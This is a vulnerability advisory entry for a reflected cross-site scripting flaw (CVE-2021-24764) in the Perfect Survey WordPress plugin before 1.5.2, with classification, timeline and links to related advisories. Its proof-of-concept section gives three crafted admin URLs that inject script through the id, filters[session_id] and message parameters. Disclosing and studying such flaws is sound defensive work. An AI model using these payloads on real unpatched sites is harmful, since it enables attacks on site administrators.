Perfect Survey < 1.5.2 – Reflected Cross-Site Scripting | CVE 2021-24764 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape multiple parameters (id and filters[session_id] of single_statistics page, type and message of importexport page) before outputting them back in pages/attributes in the admin dashboard, leading to Reflected Cross-Site Scripting issues

Proof of Concept

https://example.com/wp-admin/edit.php?post_type=ps&page=single_statistic&id=1"+style%3danimation-name:rotation onanimationend%3dalert(/XSS/)//

https://example.com/wp-admin/edit.php?post_type=ps&page=single_statistic&id=765&filters[user_id]&filters[session_id]=<script>alert(/XSS/)</script>

https://example.com/wp-admin/edit.php?post_type=ps&page=importexport&message=<script>alert(/XSS/)</script>

Affects Plugins

Fixed in 1.5.2

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

apple502j

Submitter

apple502j

Verified

Yes

WPVDB ID

c2f8e9b9-c044-4c45-8d17-e628e9cb5d59

Timeline

Publicly Published

2021-10-05 (about 4 years ago)

Added

2021-12-29 (about 3 years ago)

Last Updated

2022-04-13 (about 3 years ago)

Other

Published

Title

Published

2025-09-29

Title

LatePoint < 5.2.0 - Authenticated (Administrator+) Stored Cross-Site Scripting

Published

2025-03-25

Title

Event post < 5.9.10 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2021-12-01

Title

Booster for WooCommerce < 5.4.9 - Reflected Cross-Site Scripting in Product XML Feeds Module

Published

2024-04-09

Title

WP < 6.5.2 - Unauthenticated Stored XSS

Published

2024-10-21

Title

Robo Gallery < 3.2.22 - Authenticated (Author+) Stored Cross-Site Scripting